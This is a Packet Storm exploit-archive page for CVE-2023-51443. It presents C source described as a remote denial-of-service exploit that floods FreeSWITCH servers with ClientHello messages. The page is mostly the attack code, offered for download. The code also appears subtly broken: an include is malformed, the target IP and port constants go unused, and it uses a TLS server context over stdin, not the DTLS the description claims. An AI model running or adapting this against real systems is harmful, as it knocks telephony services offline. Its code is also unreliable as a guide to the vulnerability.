exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeSWITCH Denial Of Service

FreeSWITCH Denial Of Service
Posted Jan 8, 2024
Authored by Amirhossein Bahramizadeh

FreeSWITCH versions prior to 1.10.11 remote denial of service exploit that leverages a race condition in the hello handshake phase of the DTLS protocol.

tags | exploit, remote, denial of service, protocol
advisories | CVE-2023-51443
SHA-256 | c9c3686ee337d8542426ced66a1b6b5eb7140101aed0bc4ec11b15ee6a810dab

FreeSWITCH Denial Of Service

Change Mirror Download
#include <stdio.h
#include <string.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define IP "127.0.0.1"
#define PORT 5061

int main() {
SSL_library_init();
SSL_load_error_strings();
OpenSSL_add_ssl_algorithms();

const SSL_METHOD *method = TLS_server_method();
SSL_CTX *ctx = SSL_CTX_new(method);

if (!ctx) {
fprintf(stderr, "Unable to create SSL context\n");
ERR_print_errors_fp(stderr);
return 1;
}

SSL *ssl = SSL_new(ctx);
if (!ssl) {
fprintf(stderr, "Unable to create SSL\n");
ERR_print_errors_fp(stderr);
return 1;
}

if (SSL_set_fd(ssl, fileno(stdin)) <= 0) {
fprintf(stderr, "Unable to set SSL file descriptor\n");
ERR_print_errors_fp(stderr);
return 1;
}

if (SSL_set_connect_state(ssl) <= 0) {
fprintf(stderr, "Unable to set SSL connect state\n");
ERR_print_errors_fp(stderr);
return 1;
}

const SSL_CIPHER *cipher = SSL_CIPHER_find("TLS_NULL_WITH_NULL_NULL");
if (!cipher) {
fprintf(stderr, "Unable to find cipher\n");
ERR_print_errors_fp(stderr);
return 1;
}

SSL_set_cipher_list(ssl, "TLS_NULL_WITH_NULL_NULL");

if (SSL_connect(ssl) <= 0) {
fprintf(stderr, "Unable to connect\n");
ERR_print_errors_fp(stderr);
return 1;
}

printf("Connected with cipher %s\n", SSL_CIPHER_get_name(SSL_get_current_cipher(ssl)));

// Send malicious ClientHello messages continuously
while (1) {
if (SSL_connect(ssl) <= 0) {
fprintf(stderr, "Unable to connect\n");
ERR_print_errors_fp(stderr);
return 1;
}
sleep(1);
}

SSL_shutdown(ssl);
SSL_free(ssl);
SSL_CTX_free(ctx);
EVP_cleanup();

return 0;
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close